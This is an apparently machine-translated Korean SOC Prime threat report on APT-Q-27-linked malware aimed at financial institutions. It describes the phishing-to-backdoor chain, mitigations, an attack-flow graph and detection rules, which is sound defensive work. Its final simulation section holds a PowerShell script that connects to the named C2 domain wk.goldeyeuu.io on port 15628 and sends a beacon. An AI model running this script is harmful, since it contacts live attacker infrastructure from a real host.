SOC Prime Bias: 심각

10 2월 2026 16:46

재정 기관을 대상으로 한 APT-Q-27 관련 의심 멀웨어 분석

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 캠페인은 이미지 다운로드로 위장된 피싱 링크로 시작하여 다단계 감염 체인을 특징으로 하며, 실제로는 .pif 드로퍼를 전달합니다. 초기 페이로드는 정당한 인증서로 서명되어 나중에 취소된 심각하게 난독화된 .NET 실행 파일입니다. 이는 초기에 평판 기반 제어를 피할 수 있게 합니다. 실행 후에는 Windows Update 캐시와 유사한 디렉토리 내에 구성 요소를 배치한 후 메모리 전용 실행으로 전환하여 디스크에 흔적을 최소화합니다. 최종 결과는 은밀성과 회피에 우선순위를 두는 모듈식 백도어로 서비스 기반 지속성을 통해 접근을 유지하면서 일반적인 서명 감지를 회피하려고 시도합니다.

조사

CyStack 분석가는 초기 배달 URL을 storage.googleapis.com에 호스팅된 인프라로 추적하고 숨겨진 캐시 유사 폴더에서 업데이츠.exe, 크래시리포트.dll, 업데이츠.log와 같은 단계적 아티팩트를 복구했습니다. 드로퍼는 Run 레지스트리 값을 통해 기본적인 지속성을 설정하고 Windows Eventn이라는 Windows 서비스를 등록하여 장기 실행을 유지합니다. 백도어는 분석 방지 검사를 수행하고 권한 상승을 시도하며 사용자 프롬프트를 줄이기 위해 UAC 관련 설정을 수정합니다. 명령 및 제어 트래픽은 포트 15628을 통해 관찰되었으며, 조사관들은 파일 이름, 레지스트리 경로, 서비스 식별자, 고유한 사용자 에이전트 문자열을 포함한 탐지 준비 지표를 추출했습니다.

완화

.pif 파일을 차단하고 콘텐츠 유형 검증을 적용하여 ‘이미지’ 링크가 실행 파일을 은밀히 전달하지 않도록 하기 위해 엄격한 다운로드 제어를 적용합니다. 코드 서명 시행을 강화하여 실행 중 취소 상태와 인증서 타임스탬프를 검증합니다. 숨겨진 ‘Windows Update와 유사한’ 캐시 디렉토리가 있는지 모니터링하고 예상치 못한 Run 키 추가 또는 의심스러운 서비스 생성 이벤트에 대해 경고합니다. UAC 정책 설정을 잠그고 관련 레지스트리 정책 키에 대한 변경 사항을 정기적으로 감사합니다.

대응

활동이 감지되면 즉시 엔드포인트를 격리하고 포렌식 아티팩트(메모리 이미지, 레지스트리 하이브, 파일 시스템 증거)를 수집한 후 교정합니다. 악성 Windows Eventn 서비스를 종료하고 제거하며 복구된 지표, 특히 숨겨진 스테이징 파일, 잠재적인 뮤텍스 사용, DLL 사이드로딩 흔적을 환경에서 검색합니다. 노출 가능성이 있는 자격 증명을 재설정하고 특권 계정 활동을 검토하여 남용 여부를 확인하며, 추출된 IOC로 EDR/SIEM 전반에서 탐지를 업데이트합니다.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.002 Phishing: Spearphishing Link</b><br/><b>Description</b>: Attacker sends a URL that appears to point to an image but delivers a malicious .pif file.<br/><b>Artifact</b>: Malicious .pif delivered as image link"] class action_phishing action action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim clicks the link and runs the .pif file.<br/><b>Artifact</b>: Executed .pif"] class action_user_exec action malware_dropper["<b>Malware</b> – Dropper (signed)<br/><b>Technique</b>: T1553.002 Code Signing<br/><b>Description</b>: Dropper and accompanying DLL are signed with a valid certificate to evade reputation checks"] class malware_dropper malware tool_masq_filetype["<b>Tool</b> – Masqueraded .pif file<br/><b>Technique</b>: T1036.008 Masquerade File Type<br/><b>Description</b>: .pif renamed with .jpg extension to appear as an image"] class tool_masq_filetype tool tool_masq_location["<b>Tool</b> – Fake Update Cache folder<br/><b>Technique</b>: T1036.005 Match Legitimate Resource Name or Location<br/><b>Description</b>: Payload placed in a hidden folder mimicking Windows Update cache"] class tool_masq_location tool process_proxy["<b>Process</b> – Signed system binary<br/><b>Technique</b>: T1218 System Binary Proxy Execution<br/><b>Description</b>: Legitimate signed binaries launch the dropper without alarms"] class process_proxy process malware_obfusc["<b>Malware</b> – Obfuscated Dropper<br/><b>Technique</b>: T1027.007 Dynamic API Resolution<br/><b>Description</b>: Uses multiu2011layer Base64 and runtime string decoding to hide URLs and commands"] class malware_obfusc malware tool_hide_dir["<b>Tool</b> – Hidden staging directory<br/><b>Technique</b>: T1564.001 Hidden Files and Directories<br/><b>Description</b>: Directory marked Hidden and NotContentIndexed"] class tool_hide_dir tool action_persistence["<b>Action</b> – T1547.014 Active Setup Persistence<br/><b>Description</b>: Creates a Run registry key named SystemOptimizer for logon persistence"] class action_persistence action malware_injection["<b>Malware</b> – CrashReport DLL<br/><b>Technique</b>: T1055.001 DLL Injection (sideloading)<br/><b>Description</b>: updat.exe loads malicious crashreport.dll via sideloading"] class malware_injection malware process_appcert["<b>Process</b> – AppCert DLL Loading<br/><b>Technique</b>: T1546.009 AppCert DLLs<br/><b>Description</b>: Loading of crashreport.dll from staged path triggers malicious code in a legitimate process"] class process_appcert process action_uac_bypass["<b>Action</b> – T1548.002 Bypass User Account Control<br/><b>Description</b>: Backdoor modifies UAC registry keys and reu2011executes with elevated privileges"] class action_uac_bypass action action_clear_logs["<b>Action</b> – T1070.001 Clear Windows Event Logs<br/><b>Description</b>: Backdoor deletes Windows event logs to hide activity"] class action_clear_logs action %% Connections showing flow action_phishing –>|leads to| action_user_exec action_user_exec –>|executes| malware_dropper malware_dropper –>|uses| tool_masq_filetype malware_dropper –>|uses| tool_masq_location malware_dropper –>|launched by| process_proxy malware_dropper –>|contains| malware_obfusc malware_obfusc –>|stores in| tool_hide_dir tool_hide_dir –>|enables| action_persistence action_persistence –>|creates| process_proxy malware_dropper –>|loads| malware_injection malware_injection –>|injected into| process_appcert process_appcert –>|triggers| action_uac_bypass action_uac_bypass —->|clears| action_clear_logs %% Styling class action_phishing,action_user_exec,action_persistence,action_uac_bypass,action_clear_logs action class malware_dropper,malware_obfusc,malware_injection malware class tool_masq_filetype,tool_masq_location,tool_hide_dir tool class process_proxy,process_appcert process "

공격 흐름

탐지

보안 데스크탑 프롬프트 비활성화 시도 (via registry_event)

SOC Prime 팀
2026년 2월 9일

가능한 지속성 지점 [ASEPs – Software/NTUSER Hive] (via registry_event)

SOC Prime 팀
2026년 2월 9일

UAC 비활성화 시도 (via registry_event)

SOC Prime 팀
2026년 2월 9일

실행 파일의 비정상적인 확장자 (via process_creation)

SOC Prime 팀
2026년 2월 9일

Consent Admin 비활성화 (via registry_event)

SOC Prime 팀
2026년 2월 9일

APT-Q-27이 금융기관을 대상으로 한 악성코드 관련 의심 분석: Part 1의 IOCs(SourceIP) 탐지

SOC Prime AI 규칙
2026년 2월 9일

APT-Q-27이 금융기관을 대상으로 한 악성코드 관련 의심 분석: IOCs(HashMd5) 탐지

SOC Prime AI 규칙
2026년 2월 9일

APT-Q-27이 금융기관을 대상으로 한 악성코드 관련 의심 분석: Part 2의 IOCs(SourceIP) 탐지

SOC Prime AI 규칙
2026년 2월 9일

APT-Q-27이 금융기관을 대상으로 한 악성코드 관련 의심 분석: Part 1의 IOCs(DestinationIP) 탐지

SOC Prime AI 규칙
2026년 2월 9일

APT-Q-27이 금융기관을 대상으로 한 악성코드 관련 의심 분석: Part 2의 IOCs(DestinationIP) 탐지

SOC Prime AI 규칙
2026년 2월 9일

.pif 파일과 로더 단계별 악성 드로퍼 실행 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 2월 9일

wk.goldeyeuu.io와 포트 15628을 통한 C2 통신 탐지 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 2월 9일

시뮬레이션 실행

전제 조건: 원격 측정 및 기준점 사전 확인을 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적의 기술 기법(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접 반영하여 탐지 논리에서 예상되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 수 있습니다.

  • 공격 내러티브 & 명령어:
    Windows 호스트에 기초적인 진입을 얻은 공격자는 APT-Q-27 인프라에 은밀한 C2 터널을 설정하려고 합니다. 커스텀 PowerShell 백도어를 사용하여 운영자는 하드코딩된 도메인을 해결합니다. wk.goldeyeuu.io 과 포트에 TCP 연결을 엽니다 15628방화벽에 의해 트래픽을 외부로 허용하며, 비표준 포트를 사용하기 때문에 방화벽 로그에서 돋보입니다. 공격자는 이 채널을 통해 추가 페이로드를 실행하기 위해 인코딩된 명령어를 스트리밍합니다(T1059).

    단계별:

    1. C2 도메인을 확인하여 DNS가 작동하는지 확인합니다.
    2. 포트 15628에서 확인된 IP로 원시 TCP 소켓을 엽니다.
    3. 간단한 ‘ping’ 페이로드를 전송하여 연결성을 확인합니다(비콘 시뮬레이션).
  • 회귀 테스트 스크립트:

    # -----------------------------------------------------------------------------------------------------------------
    # 포트 15628에서 wk.goldeyeuu.io로의 C2 통신 시뮬레이션
    # -----------------------------------------------------------------------------------------------------------------
    # 악성 도메인을 확인합니다(레드 팀이 제어하는 IP를 반환하는 것으로 예상)
    $c2Domain = "wk.goldeyeuu.io"
    try {
        $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
                 Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
                 Select-Object -First 1
    } catch {
        Write-Error "DNS resolution failed for $c2Domain"
        exit 1
    }
    
    # 비표준 포트 15628에서 TCP 연결을 설정합니다
    $c2Port = 15628
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect($c2IP.IPAddressToString, $c2Port)
        Write-Host "Connected to $c2Domain ($($c2IP.IPAddressToString)):`$c2Port"
    } catch {
        Write-Error "Failed to connect to $c2Domain on port $c2Port"
        exit 1
    }
    
    # 간단한 비콘 페이로드(ASCII “PING”)를 전송하고 연결을 종료합니다
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
    $stream.Write($payload, 0, $payload.Length)
    $stream.Flush()
    Write-Host "Beacon payload sent."
    
    # 정리
    $stream.Close()
    $client.Close()
    # -----------------------------------------------------------------------------------------------------------------
  • 정리 명령어:

    # 테스트 환경을 위한 방어 조치로 남아 있는 TCP 연결이 닫혔는지 확인
    Get-NetTCPConnection -RemotePort 15628 -State Established |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }